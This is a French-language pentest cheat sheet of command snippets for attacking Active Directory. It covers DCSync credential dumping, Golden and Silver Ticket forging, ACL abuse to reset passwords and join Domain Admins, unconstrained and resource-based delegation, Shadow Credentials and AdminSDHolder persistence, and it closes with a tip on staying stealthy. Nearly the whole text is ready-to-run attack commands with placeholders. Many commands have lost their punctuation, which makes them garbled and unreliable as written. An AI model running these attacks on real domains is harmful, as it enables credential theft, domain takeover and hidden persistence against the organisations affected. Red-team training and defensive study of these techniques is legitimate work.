MDstable
NoteSnippetChecklistPlaybook

Attaques Active Directory avancées

DCSync, Golden/Silver Ticket, ACL abuse, délégation Kerberos, RBCD

snippetadvanced 2025-05-13 4 min read
active-directorykerberosgolden-ticketsilver-ticketdcsyncACLdelegationpentest

DCSync

bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
# Prérequis : droits DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
# (Domain Admins, Enterprise Admins, SYSTEM sur DC)
# Mimikatz
lsadumpdcsync /domain{{TARGET_DOMAIN}} /all /csv
lsadumpdcsync /domain{{TARGET_DOMAIN}} /userkrbtgt
lsadumpdcsync /domain{{TARGET_DOMAIN}} /userAdministrator
# Impacket depuis Linux
secretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dc
secretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} -just-dc-user krbtgt

Golden Ticket

bash
Variables
{{TARGET_DOMAIN}}
{{KRBTGT_HASH}}
{{TARGET}}
# Prérequis : hash NTLM de krbtgt + SID du domaine
# Récupérer le hash krbtgt
lsadumpdcsync /domain{{TARGET_DOMAIN}} /userkrbtgt
# → Hash NTLM : aabbccdd...
# Récupérer le SID du domaine
Get-DomainSID # PowerView
whoami /user # depuis une machine du domaine
# Créer le Golden Ticket (durée 10 ans par défaut)
kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}
/sidS-1-5-21-XXXXXXXXXX /krbtgt{{KRBTGT_HASH}}
/id500 /groups512 /ptt
# Depuis Linux — ticketer.py
ticketerpy -nthash {{KRBTGT_HASH}} -domain-sid S-1-5-21-XXXXXXXXXX
-domain {{TARGET_DOMAIN}} Administrator
export KRB5CCNAMEAdministratorccache
psexecpy -k -no-pass {{TARGET_DOMAIN}}/Administrator{{TARGET}}

Silver Ticket

bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET_IP}}
{{TARGET}}
{{MACHINE_HASH}}
# Prérequis : hash NTLM du compte machine (ou compte de service)
# Accès au service cible sans contacter le DC
# Dump hash machine
secretsdumppy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}{{TARGET_IP}} | grep "machine"
# ou
lsadumpdcsync /domain{{TARGET_DOMAIN}} /user{{TARGET}}
# Silver Ticket pour CIFS (accès aux partages)
kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}
/sidS-1-5-21-XXXXXXXXXX /target{{TARGET}}{{TARGET_DOMAIN}}
/servicecifs /rc4{{MACHINE_HASH}} /ptt
# Silver Ticket pour HTTP (IIS)
kerberosgolden /userAdministrator /domain{{TARGET_DOMAIN}}
/sidS-1-5-21-XXXXXXXXXX /target{{TARGET}}{{TARGET_DOMAIN}}
/servicehttp /rc4{{MACHINE_HASH}} /ptt
# Services : cifs, http, ldap, mssql, host, rpcss, wsman

ACL Abuse

ForceChangePassword

powershell
Variables
{{USER}}
{{TARGET_DOMAIN}}
{{PASSWORD}}
{{TARGET_IP}}
# Changer le mot de passe sans connaître l'ancien
$pass = ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force
Set-DomainUserPassword -Identity {{USER}} -AccountPassword $pass
# Impacket
changepasswd.py {{TARGET_DOMAIN}}/{{USER}}:{{PASSWORD}}@{{TARGET_IP}} -newpass "NewP@ss123!" -altuser victim

GenericAll / GenericWrite

powershell
Variables
{{TARGET}}
{{USER}}
# GenericAll sur un utilisateur → reset password, ajouter SPN, etc.
Set-DomainUserPassword -Identity victim -AccountPassword (ConvertTo-SecureString "Pwned123!" -AsPlainText -Force)
# GenericWrite → ajouter SPN (puis Kerberoast)
Set-DomainObject -Identity victim -Set @{servicePrincipalName='fake/{{TARGET}}'}
Get-DomainSPNTicket -SPN "fake/{{TARGET}}" -Format Hashcat
# GenericAll sur un groupe → ajouter membre
Add-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}
# GenericWrite sur GPO → modification GPO
# (Utiliser SharpGPOAbuse ou pyGPOAbuse)
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount {{USER}} --GPOName "Default Domain Policy"

WriteDACL

powershell
Variables
{{USER}}
{{TARGET_DOMAIN}}
# Ajouter des droits DCSync sur le domaine
$secprincipal = New-Object System.Security.Principal.SecurityIdentifier (Get-DomainUser {{USER}}).objectsid
Add-DomainObjectAcl -TargetIdentity {{TARGET_DOMAIN}} -PrincipalIdentity {{USER}} -Rights DCSync

WriteOwner → prendre possession

powershell
Variables
{{USER}}
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity {{USER}}
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity {{USER}} -Rights All
Add-DomainGroupMember -Identity "Domain Admins" -Members {{USER}}

Délégation Kerberos — Unconstrained

bash
Variables
{{DC_IP}}
{{TARGET_IP}}
# Trouver les machines avec délégation non contrainte
Get-DomainComputer -Unconstrained | select name dnshostname
# Piège : forcer un DA à s'authentifier via PrinterBug ou autres
# PrinterBug (SpoolSample)
SpoolSampleexe {{DC_IP}} {{TARGET_IP}} # sur la machine avec délégation non contrainte
# Attendre et récupérer le ticket avec Rubeus
Rubeusexe monitor /interval5 /nowrap
# ou via Mimikatz
sekurlsatickets /export
# Utiliser le ticket du DC → DCSync possible

Délégation Kerberos — RBCD (Resource-Based Constrained Delegation)

bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{TARGET_IP}}
# Prérequis : droits GenericWrite ou WriteMSDS sur l'objet cible
# Aussi possible si on peut créer des comptes machines (MachineAccountQuota)
# Créer un compte machine
addcomputerpy {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}} -method LDAPS
-computer-name ATTACK -computer-pass "P@ssword123"
# Configurer RBCD : autoriser ATTACK$ à déléguer vers TARGET
rbcdpy -f ATTACK -t {{TARGET}} -dc-ip {{TARGET_IP}} {{TARGET_DOMAIN}}{{USER}}{{PASSWORD}}
# Obtenir un ticket de service en tant qu'Administrator
getSTpy -spn cifs{{TARGET}}{{TARGET_DOMAIN}}
-impersonate Administrator
-dc-ip {{TARGET_IP}}
{{TARGET_DOMAIN}}/ATTACKPssword123
export KRB5CCNAMEAdministratorcifs_{{TARGET}}ccache
secretsdumppy -k -no-pass {{TARGET_DOMAIN}}/Administrator{{TARGET}}{{TARGET_DOMAIN}}

Shadow Credentials

bash
Variables
{{TARGET_DOMAIN}}
{{USER}}
{{PASSWORD}}
{{SESSION_KEY}}
# Prérequis : GenericWrite sur le compte cible
# Ajouter une clé msDS-KeyCredentialLink
pywhiskerpy -d {{TARGET_DOMAIN}} -u {{USER}} -p {{PASSWORD}} --target victim --action add
# Récupérer le TGT avec la clé générée
gettgtpkinitpy -cert-pfx victimpfx -pfx-pass password {{TARGET_DOMAIN}}/victim victimccache
# Extraire le hash NTLM
getnthashpy -key {{SESSION_KEY}} {{TARGET_DOMAIN}}/victim

Persistence — AdminSDHolder

bash
Variables
{{USER}}
# Modifier AdminSDHolder → backdoor persistant sur tous les objets protégés
# AdminSDHolder est copié sur tous les comptes privilégiés toutes les 60 min (SDProp)
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan"
-PrincipalIdentity {{USER}} -Rights All -Verbose
# Après 60 min (ou forcer SDProp)
$taskEA Get-ScheduledTask -TaskName "SDProp" -ErrorAction SilentlyContinue
Invoke-DomainObjectPropertyChange -Identity "CN=AdminSDHolder,CN=System,DC=corp,DC=lan"
💡 Tip —

L'abus d'ACL (GenericAll, WriteDACL, ForceChangePassword) est souvent plus discret que les attaques Kerberos car il génère moins d'événements. Toujours vérifier avec BloodHound les chemins via "Outbound Object Control" depuis le compte compromis avant de tenter un mouvement.

OPS·BRAIN v1.075 notes · Securitylocal